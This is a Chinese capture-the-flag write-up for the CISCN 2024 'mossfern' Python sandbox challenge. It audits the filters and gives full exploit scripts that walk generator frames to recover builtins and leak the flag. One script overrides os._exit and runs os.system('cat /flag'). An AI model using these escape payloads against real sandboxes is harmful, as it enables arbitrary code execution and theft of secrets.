CISCN 2024 mossfern

题目源码如下

代码审计

main.py

import os
import subprocess
from flask import Flask, request, jsonify
from uuid import uuid1

app = Flask(__name__)

runner = open("/app/runner.py", "r", encoding="UTF-8").read()
flag = open("/flag", "r", encoding="UTF-8").readline().strip()


@app.post("/run")
def run():
    id = str(uuid1())
    try:
        data = request.json
        open(f"/app/uploads/{id}.py", "w", encoding="UTF-8").write(
            runner.replace("THIS_IS_SEED", flag).replace("THIS_IS_TASK_RANDOM_ID", id))
        open(f"/app/uploads/{id}.txt", "w", encoding="UTF-8").write(data.get("code", ""))
        run = subprocess.run(
            ['python', f"/app/uploads/{id}.py"],
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            timeout=3
        )
        result = run.stdout.decode("utf-8")
        error = run.stderr.decode("utf-8")
        print(result, error)


        if os.path.exists(f"/app/uploads/{id}.py"):
            os.remove(f"/app/uploads/{id}.py")
        if os.path.exists(f"/app/uploads/{id}.txt"):
            os.remove(f"/app/uploads/{id}.txt")
        return jsonify({
            "result": f"{result}\n{error}"
        })
    except:
        if os.path.exists(f"/app/uploads/{id}.py"):
            os.remove(f"/app/uploads/{id}.py")
        if os.path.exists(f"/app/uploads/{id}.txt"):
            os.remove(f"/app/uploads/{id}.txt")
        return jsonify({
            "result": "None"
        })


if __name__ == "__main__":
    app.run("0.0.0.0", 5000)

runner.py

def source_simple_check(source):

    """
    Check the source with pure string in string, prevent dangerous strings
    :param source: source code
    :return: None
    """

    from sys import exit
    from builtins import print

    try:
        source.encode("ascii")
    except UnicodeEncodeError:
        print("non-ascii is not permitted")
        exit()

    for i in ["__", "getattr", "exit"]:
        if i in source.lower():
            print(i)
            exit()


def block_wrapper():
    """
    Check the run process with sys.audithook, no dangerous operations should be conduct
    :return: None
    """

    def audit(event, args):

        from builtins import str, print
        import os

        for i in ["marshal", "__new__", "process", "os", "sys", "interpreter", "cpython", "open", "compile", "gc"]:
            if i in (event + "".join(str(s) for s in args)).lower():
                print(i)
                os._exit(1)
    return audit


def source_opcode_checker(code):
    """
    Check the source in the bytecode aspect, no methods and globals should be load
    :param code: source code
    :return: None
    """

    from dis import dis
    from builtins import str
    from io import StringIO
    from sys import exit

    opcodeIO = StringIO()
    dis(code, file=opcodeIO)
    opcode = opcodeIO.getvalue().split("\n")
    opcodeIO.close()
    for line in opcode:
        if any(x in str(line) for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"]):
            if any(x in str(line) for x in ["randint", "randrange", "print", "seed"]):
                break
            print("".join([x for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"] if x in str(line)]))
            exit()


if __name__ == "__main__":

    from builtins import open
    from sys import addaudithook
    from contextlib import redirect_stdout
    from random import randint, randrange, seed
    from io import StringIO
    from random import seed
    from time import time

    source = open(f"/app/uploads/THIS_IS_TASK_RANDOM_ID.txt", "r").read()
    source_simple_check(source)
    source_opcode_checker(source)
    code = compile(source, "<sandbox>", "exec")
    addaudithook(block_wrapper())
    outputIO = StringIO()
    with redirect_stdout(outputIO):
        seed(str(time()) + "THIS_IS_SEED" + str(time()))
        exec(code, {
            "__builtins__": None,
            "randint": randint,
            "randrange": randrange,
            "seed": seed,
            "print": print
        }, None)
    output = outputIO.getvalue()

    if "THIS_IS_SEED" in output:
        print("这 runtime 你就嘎嘎写吧, 一写一个不吱声啊,点儿都没拦住!")
        print("bad code-operation why still happened ah?")
    else:
        print(output)

进行代码审计,main.py用于启动这个web服务,把runner.py中的占位字符串THIS_IS_SEED替换为flag,把THIS_IS_TASK_RANDOM_ID替换为UUID1。

{id}.txt接收用户通过run路由传入的json数据中code的值,runner.py中读取这个txt文件中的内容放入{id}.py中执行,经过一系列处理后放在沙箱环境中exec执行。我们本地看一下,传入的code的值是否写入了txt文件,写入py文件的runner.py中占位符是否被替换。

传入code值为1234,在flag.txt中写入flag{123},运行查看

我们看到红框中圈出来的地方,我们传入的code的值已经被接收了,并且写入id.py中的内容中的占位符也都已经替换成了相应的内容。

runner.py中exec执行后,通过stdout来把运行后的结果输出。

然后我们逐行来看runner.py中,执行exec前经过的三个处理的函数。

source_simple_check(source)

def source_simple_check(source):

    """
    Check the source with pure string in string, prevent dangerous strings
    :param source: source code
    :return: None
    """

    from sys import exit
    from builtins import print

    try:
        source.encode("ascii")
    except UnicodeEncodeError:
        print("non-ascii is not permitted")
        exit()

    for i in ["__", "getattr", "exit"]:
        if i in source.lower():
            print(i)
            exit()

尝试对传入这个函数的参数source进行ascii解码,如果失败则报错并exit退出程序;

如果解码成功则进行关键字比对,如果黑名单中的元素出现在转为小写字母后的source中,输出这个元素,exit退出程序。

这个函数实现了两个功能,首先它必须是ascii字符,这样避免利用奇怪的Unicode字符来绕过,或者利用Python的编码特性来绕过关键词过滤。它强制要求payload必须是纯净的英文字符或符号。

我们本地看一下作用效果。

碰见黑名单中的关键字就会退出程序,无法通过拼接绕过。

def block_wrapper()

def block_wrapper():
    """
    Check the run process with sys.audithook, no dangerous operations should be conduct
    :return: None
    """

    def audit(event, args):

        from builtins import str, print
        import os

        for i in ["marshal", "__new__", "process", "os", "sys", "interpreter", "cpython", "open", "compile", "gc"]:
            if i in (event + "".join(str(s) for s in args)).lower():
                print(i)
                os._exit(1)
    return audit

这是一个嵌套函数。外层函数是block_wrapper,内层函数是audit。外层函数把内层的audit交出去,然后让sys.audithook去调用。这个函数是python的审计钩子(Audit Hook),它的作用是在代码运行时进行实时监控。

在主程序中,有一行

from sys import addaudithook
# ...
# ...
addaudithook(block_wrapper())

这相当于告诉python解释器:无论执行什么,都要先通知这个audit函数。

每当python执行敏感操作(比如打开文件、导入模块、编译代码或者网络连接等)时,解释器会自动调用audit(event, args)。event是发生的事件名称(字符串),例如open,compile,import,os.system;而args是事件的参数(元组),例如打开的文件名。这两个参数由Python解释器(Python虚拟机)在背后自动传进。这里涉及Python的C语言层面的源码CPython,不过多赘述。

然后进行黑名单检查。

for i in ["marshal", "__new__", "process", "os", "sys", "interpreter", "cpython", "open", "compile", "gc"]:
    if i in (event + "".join(str(s) for s in args)).lower():
        print(i)
        os._exit(1)

它把事件名和参数拼在一起,转成小写,然后检查是否包含黑名单中的关键字。如果有的话就输出,然后退出程序。

总结来说,这个函数利用python的审计功能来拦截包含特定关键词的危险操作。但因为它只盯着特定的那几个词(os, open等),所以我们可以用不包含这些词的方法来绕过,比如栈帧。

同样的,我们本地看一下这个函数的效果。

只要执行了addaudithook(block_wrapper()),下面执行的函数动作都会被这个audit所检查。

我们看到,当我们open一个文件时,它执行的event是open,args则是一个元组,里面存着这些信息,如果把他们拼在一起的话则是

openrunner.pyr32896

拼在一起的这个字符串全部转成小写后去接受if的检查。

source_opcode_checker(code)

def source_opcode_checker(code):
    """
    Check the source in the bytecode aspect, no methods and globals should be load
    :param code: source code
    :return: None
    """

    from dis import dis
    from builtins import str
    from io import StringIO
    from sys import exit

    opcodeIO = StringIO()
    dis(code, file=opcodeIO)
    opcode = opcodeIO.getvalue().split("\n")
    opcodeIO.close()
    for line in opcode:
        if any(x in str(line) for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"]):
            if any(x in str(line) for x in ["randint", "randrange", "print", "seed"]):
                break
            print("".join([x for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"] if x in str(line)]))
            exit()

这个函数从opcode层面检查我们执行的代码。

它对我们传入的Python代码进行反汇编检查,一旦发现有危险动作(如导入模块、调用方法),就退出程序。

我们逐行来看。

opcodeIO = StringIO()
dis(code, file=opcodeIO)  # 将你的源代码 code 转换成人类可读的字节码指令
opcode = opcodeIO.getvalue().split("\n")

首先创建一个内存中的虚拟文件。

正常的 open("file.txt", "w") 是在硬盘上造一个文件,StringIO() 是在内存里造一个假文件。它看起来像文件,能写入数据,但数据其实只存在于内存字符串里。

然后调用python的dis模块,把我们的python代码翻译成底层的字节码指令,并将结果写入到刚才的opcodeIO桶中。

Python 的 dis.dis() 函数设计得很“傻”。它默认直接把结果 print 到控制台(屏幕)上,它的返回值是 None。

也就是说,我们不能写 result = dis(code),因为 result 会是空的。

为了拿到它的输出,我们必须用 file= 参数。

然后取出数据并切片。

opcodeIO.getvalue():从虚拟文件里取出完整的、长长的一大串字符串(包含了很多换行符)。

.split("\n"):按照换行符切一刀。

这样opcode 变成了一个列表(List),列表里的每一个元素就是反汇编结果的一行指令。

Python代码在运行前会被编译成字节码(Bytecode)。例如:

源代码:import os
字节码:IMPORT_NAME os

这个函数不看我们的源码中写了什么,因为源代码可以通过各种方式进行绕过,它直接看编译成字节码后最底层的指令。

for line in opcode:
    if any(x in str(line) for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"]):
        if any(x in str(line) for x in ["randint", "randrange", "print", "seed"]):
            break
        print("".join([x for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"] if x in str(line)]))
        exit()

它遍历每一行字节码指令,检查是否有第一个字节码黑名单中的元素。

如果有的话,为了让程序跑通,出题人允许randint, randrange, print和seed这些关键词通过。但是这里存在一个逻辑漏洞。

判断两个if判断满足后,它使用了break来跳出这个for循环的判断。for循环是逐行读取opcode,也就是说只要我们在开头放一个满足条件的这个opcode,执行break后,后面的opcode都不会被for循环检查。

这是我们需要利用的漏洞点。如果把break替换为continue则不会存在这个问题。

我们本地看一下转成字节码后的命令究竟是什么样子的。以这个命令为例

__import__('os').popen('whoami').read()

为了方便阅读,我们不用split分隔成列表。

我们在for循环之前把opcode打印出来。

gemini帮我们分析一下

序号

字节码指令 (Opcode)

对应源码部分

解释 (人话版)

0

RESUME 0

(无)

3.11 新特性。表示解释器开始或恢复执行。这是新版 Python 内部调度用的,对逻辑无影响。

1

LOAD_NAME 0 (__import__)

__import__

关键点! 这里用的是 LOAD_NAME 而不是 LOAD_GLOBAL。因为它是在全局(模块)作用域运行,不是在函数内。

2

PUSH_NULL

(无)

3.11 新特性。往栈里压一个空值,为接下来的函数调用做准备(表示这是一个普通函数调用,不是方法调用)。

3

LOAD_CONST 0 ('os')

'os'

把字符串 'os' 压入栈中,作为参数。

4

CALL 1

(...)

调用刚才的 __import__,参数有 1 个。栈顶现在变成了 os 模块对象。

5

LOAD_ATTR 3 (popen)

.popen

关键点! 这里用的是 LOAD_ATTR (读取属性) 而不是 LOAD_METHOD (加载方法)。旧版本 Python 这里通常会生成 LOAD_METHOD。

6

LOAD_CONST 1 ('whoami')

'whoami'

把字符串 'whoami' 压入栈。

7

CALL 1

(...)

调用 popen,参数 1 个。栈顶现在变成了文件对象。

8

LOAD_ATTR 5 (read)

.read

同样,用的是 LOAD_ATTR 读取 read 属性。

9

CALL 0

()

调用 read,没有参数。

10

RETURN_VALUE

(无)

程序结束,返回结果。

我们看到这种方式导入的os并不是IMPORT_NAME,但是我们换成另一种方式就可以触发了

import os
os.popen('whoami').read()

可以看到这种导入方法的字节码是IMPORT_NAME。

也就是说,我们需要开头执行一段代码,字节码中既要包含LOAD_GLOBAL IMPORT_NAME LOAD_METHOD中的一个或者多个,还要包含"randint", "randrange", "print", "seed"中的一个或者多个。

源码基本都摸清楚了,这里给出exp,我们看一下它是怎么绕过的。

exp:利用生成器获取栈帧

import requests

url = "http://6d824ada-2a50-401f-a570-92d011d43e26.challenge.ctf.show/run"

payload = """
try:
    [].print()
except:
    pass
gen = (gen.gi_frame.f_back.f_back for i in [1])
frame = [*gen][0]

bti = frame.f_globals['_' + '_' + 'builtins' + '_' + '_']

str = bti.str

for i in str(frame.f_code.co_consts):
    print(i, end = " ")
"""

r = requests.post(url, json={"code": payload})
print(r.text)

其中gen生成器那两行拆开是这样的

def builder():
    yield gen.gi_frame.f_back.f_back
gen = builder()
frame = [x for x in gen][0] # 或者[*gen][0]

所以也可以写成这样,注意栈帧深度加一,多一层f_back

import requests

url = "http://7e1a92cb-9c88-4540-a1e2-9ce867b74075.challenge.ctf.show/run"

payload = """
try:
    [].print()
except:
    pass
def builder():
    yield gen.gi_frame.f_back.f_back.f_back
gen = builder()
frame = [x for x in gen][0]

bti = frame.f_globals['_' + '_' + 'builtins' + '_' + '_']

str = bti.str

for i in str(frame.f_code.co_consts):
    print(i, end = " ")
"""

r = requests.post(url, json={"code": payload})
print(r.text)


在之前我的关于python栈帧的文章中讲到有四种获取栈帧的方式,重点来讲这里如何使用生成器获取的栈帧。

gen = (gen.gi_frame.f_back.f_back for i in [1])
frame = [*gen][0]

什么是生成器

在Python中,想要拿到栈帧,通常有两条路:

  • 利用sys._getframe(),这需要导入sys,还需要调用函数。
  • 利用生成器对象,这时Python的语法特性。

(x for x in [])就是一个最简单的生成器。当我们写下这个时,Python解释器立刻在内存中创建了一个generator对象。为了维护这个生成器的状态(哪怕它还没开始跑,或者它是空的),解释器必须给它分配一个栈帧,并把这个栈帧挂在它的gi_frame属性上。

  • [x for x in []]是一个列表推导式,计算完结果后扔掉过程,没有栈帧留下。
  • (x for x in [])是一个未执行或者“懒执行”的任务包,保留栈帧。

要想介绍什么是生成器,我们还是从for循环开始讲起。

普通的for循环

假如我们想把[1]中的数字拿出来,存到一个变量中,普通写法是这样的

source_list = [1]
result_list = []

for x in source_list:
    result_list.append(x)  # 把 x 加到结果里

这很啰嗦,也很麻烦。因此诞生了列表推导式。

列表推导式

python为了简洁,把允许把上面的三行代码压缩成一行,我们用中括号把这一串逻辑包起来,它就叫列表推导式。

#        【产出物】   【循环逻辑】
result = [   x      for x in [1]   ]

对于[1]里面的每一个元素都赋值给x,我们都把x放到新列表中,那么result就是一个列表[1]。

列表推导式会立即把所有结果都算出来,放在内存里。

生成器表达式

如果我们把上面最外层的中括号换成小括号,就变成了生成器。

#     【产出物】   【循环逻辑】
gen = (   x      for x in [1]   )

和上面一样,它也是循环,只不过它不会立即运行。相当于造了一个循环机器,或者循环模板。我们只有用next(gen)或者list(gen)或者[*gen]去推动它,才会去执行一次,吐出一个结果,这就是所谓的惰性求值。

gen是一个,生成器对象

跟for循环一样,i实际上并没有用,真正发生的事情是:for i in [1]让循环转动一次。循环转动的这一瞬间,Python执行了前面的代码,也就是

gen.gi_frame.f_back.f_back

计算出它的结果,也就是栈帧对象。

但是文章中也说到,生成器并不会自己去执行,需要有人去推它一下,所以这里用到了[*gen[0]。

[*gen]0]

[*gen]0]的作用就是让这个生成器完成一次循环。

(gen.gi_frame.f_back.f_back for i in [1])

\*gen (解包 Unpacking): 星号 * 是 Python 的语法符号(不是函数)。它的意思是:“把这个可迭代对象里的东西全部倒出来”。

这一步强制生成器开始工作,直到跑完或者抛出 StopIteration。

生成器内部的代码在这一刻被执行了。

[...] (列表构建): 中括号也是语法符号。它把刚才 * 倒出来的东西接住,装进一个新的列表里。此时,我们得到了一个列表,比如 [<frame_object>]。

[0] (索引取值): 从刚才生成的列表里取出第 0 个元素。

作用等同于next(gen)或者list(gen)。

这里其实有一个问题:为什么还要手动让这个生成器动起来?

(x for x in []).gi_frame.f_back.f_locals
# 1. (x for x in []).gi_frame  -> 获取生成器帧 (成功,不是 None)
# 2. .f_back                   -> 获取上一层帧 (失败,这里返回了 None)
# 3. .f_locals                 -> None.f_locals (报错)

在python3.10及以前,生成器创建时,gi_frame.f_back会直接指向创建它的那个函数,也就是innder。python3.11+版本的生成器在刚刚创建但尚未运行(Suspended状态)时,它的栈帧是“孤立”的,或者与调用栈的链接方式变了,导致f_back为None。只有当生成器正在运行时,它才会链接到调用栈。

因此高版本无法利用静态生成器的栈帧。如果想要利用它必须让它先动起来。

为什么不能用next(gen)或者list(gen)?因为源码中把builtins置空了,这里面放着所有的内置函数都不能用了,这也是为什么生成器不能写成x for x in range(1)。

定义gen生成器中调用了gen变量

有人可能要问:“为什么在定义 gen 的时候,里面可以用 gen 这个变量?这时候 gen 不是还没赋值吗?”

这就是生成器的懒加载特性。

# 定义阶段:
# Python 只是把 ( ... for ...) 编译成了字节码。
# 它并没有去查找 gen 是什么,也没有去运行里面的 .f_back
gen = (gen.gi_frame.f_back.f_back for i in [1])
# 此时 gen 变量已经存在于局部作用域了。

# 运行阶段:
# 当你调用 [*gen] 时,生成器才开始跑。
# 此时它去查找 "gen" 变量,发现 gen 就在外面定义着呢,于是成功获取到它自己。
result = [*gen]

这种写法利用了 Python 的名字查找规则(LEGB),实现了**“我调用我自己,从而拿到我自己的属性”**。

写法问题

还有一个问题:为什么不能写成这样?这不是写生成器的常规方法吗?

gen = (x for x in [1])
frame = gen.gi_frame
b = frame.f_back.f_back

简单来说,常规方法是在外面看,而我们使用的方法是在里面拿。在沙箱逃逸这种不稳定环境中,在里面拿要稳得多。

使用常规方法时,我们在生成器外部访问一个处于挂起或刚创建状态的生成器属性。在某些沙箱环境中,一个刚刚创建但还没开始运行的生成器,它的gi_frame可能还没有完全建立起与调用者(Caller)的f_back链接。此时f_back不会生效。

我们的方法中,[*gen]会触发生成器开始运行,代码gen.gi_frame.f_back.f_back是在生成器内部正在运行的时候完成的。当代码正在运行时,Python虚拟机必须维持完整的调用栈(否则它不知道跑完这行代码后该回哪里去)。所以这一瞬间f_back的连接是存在的。

本题的源码中是把我们传入的代码放入exec执行,exec执行的代码通常并没有标准的模块级栈帧,而是动态创建的。如果我们用常规方法frame = gen.gi_frame然后试图在外部进行回溯frame.f_back,很有可能拿到的是None或者链接不完整的帧。

这也能够解释为什么要把两层f_back写在这个生成器里面。

生成器里光写gen.gi_frame,然后下面输出常量的时候在往上爬frame.f_back.f_back.f_code.co_consts这样是不行的,同样是外部和内部的区别。

过一遍waf

我们让这个exp中的payload过一下waf函数,看一下是怎么绕过的这么多层waf函数。

source_simple_check(source)

执行结果

可以看到,payload中全部都是ascii字符,并且没有触发waf(使用了拼接绕过双下划线)。

block_wrapper()

本次测试时由于我们的栈少一层,所以这里的payload改成一个f_back

执行结果

可以看到虽然显示被os这个关键字waf了,但实际上是我们当前运行的文件目录中含有os这个关键字,放在题目环境中不会被拦。

source_opcode_checker(code)

运行结果

我们可以看到实际上

try:
    [].print()
except:
    pass

它的opcode里面并不含有LOAD_METHOD,这是因为在旧版本 Python 中,调用一个对象的方法(如 [].print()),生成的字节码指令是 LOAD_METHOD;

但是在 Python 3.11 及以上的python版本中,方法调用机制被重构了。它不再生成 LOAD_METHOD,而是变成了 LOAD_ATTR 加上 CALL(配合 PUSH_NULL 优化)。

幸运的是,题目环境并没有在这里给我们挖坑。

exp2:覆盖audithook中的exit进行rce

前面我们讲过,audithook是监视python执行的事件,捕捉到它监视的动作后print,然后os._exit退出。

所以我们可以大胆的考虑把这个exit覆盖成别的什么东西。怎么覆盖呢?

注意到源码中

for i in ["marshal", "__new__", "process", "os", "sys", "interpreter", "cpython", "open", "compile", "gc"]:
    if i in (event + "".join(str(s) for s in args)).lower():
        print(i)
        os._exit(1)

在执行os._exit(1)退出前有一个print,而print函数是从builtins中调用的,我们既然已经获取了builtins,就可以把这个print污染成我们的恶意函数。

def Acc_print(a):
    # 1. 栈回溯:往上找两层
    # q 是一个生成器,利用 [*q][0] 触发执行并拿到结果
    # 这里的目的是拿到调用 print 的那个函数(也就是检查器 audit)的局部变量
    q = (q.gi_frame.f_back.f_back.f_locals for _ in [1])
    locals = [*q][0]

    # 2. 检查并偷梁换柱
    if 'os' in locals:
        # 如果在那个函数的局部变量里发现了 'os' 模块
        # 就把那个 os 模块里的 _exit 方法,强行替换成 print 函数
        # 这里用 "_ex"+"it" 依然是为了绕过关键词检测
        builtins.setattr(locals['os'], "_ex"+"it", print)
    
    print(a)
    
builtins.print = Acc_print # 下面再执行print,执行的都是我们的恶意构造的print

绕过exit后我们就可以通过拼接来进行rce了。

最终exp

import requests

url = "http://74eed2a2-a14a-46e5-8775-3cd65ebece38.challenge.ctf.show/run"

payload = """
try:
    [].print()
except:
    pass
def builder():
    yield gen.gi_frame.f_back.f_back.f_back
gen = builder()
frame = [x for x in gen][0]

bti = frame.f_globals['_' + '_' + 'builtins' + '_' + '_']

def Acc_print(a):
    Acc = (Acc.gi_frame.f_back.f_back.f_locals for _ in [1])
    locals = [*Acc][0]
    if 'os' in locals:
        bti.setattr(locals['os'], "_ex" + "it", print)
    print('yes you did it')
bti.print = Acc_print

eval = bti.eval
gta = eval('bti.get' + 'attr', {'bti': bti})
ipt = gta(bti, '_' + '_import_' + '_')
system = ipt('os').system
system('cat /flag')
"""

r = requests.post(url, json={"code": payload})
print(r.text)

(不通)exp思路3:利用异步函数获取栈帧的exp

在前面我关于栈帧的文章中提到,除了sys和生成器获取栈帧的方法,还有利用异步函数。那有师傅可能就问了:能否利用异步函数获取栈帧来做这道题?

我们尝试一下。

import requests

url = "http://7e1a92cb-9c88-4540-a1e2-9ce867b74075.challenge.ctf.show/run"

payload_code = """
try:
    [].print()
except:
    pass
async def spy():
    pass
c = spy()
frame = c.cr_frame.f_back
bti = frame.f_globals['_' + '_' + 'builtins' + '_' + '_']
str = bti.str
for i in str(frame.f_code.co_consts):
    print(i, end = " ")
"""

response = requests.post(url, json={"code": payload_code})
print(response.text)

大体思路不变,就是把生成器换成异步函数。少了[*gen]强制调用,看起来可能会好理解一些。它同样可以绕过三层waf

第一层

第二层(减一层f_back)

第三层不多说了,有开头的[].print()就能绕。但是很遗憾的是,在题目环境中并没有成功执行。

为什么?

怀疑是无法驱动异步函数启动。

async def 定义的函数调用时,不会自动执行函数体。它只是返回一个“协程对象”。

生成器可以用 list() 或 * 来驱动,但协程(Coroutine)必须用 await 或者 .send(None) 来驱动。

await只能在异步函数中调用,而send执行结束后会瞬间结束,结束后栈帧通常会被清理,我们拿不到东西。

能否让异步函数保持活跃?可以,需要内置await函数,它既绕不过双下划线,也无法绕过审计钩子,这种方法不予考虑。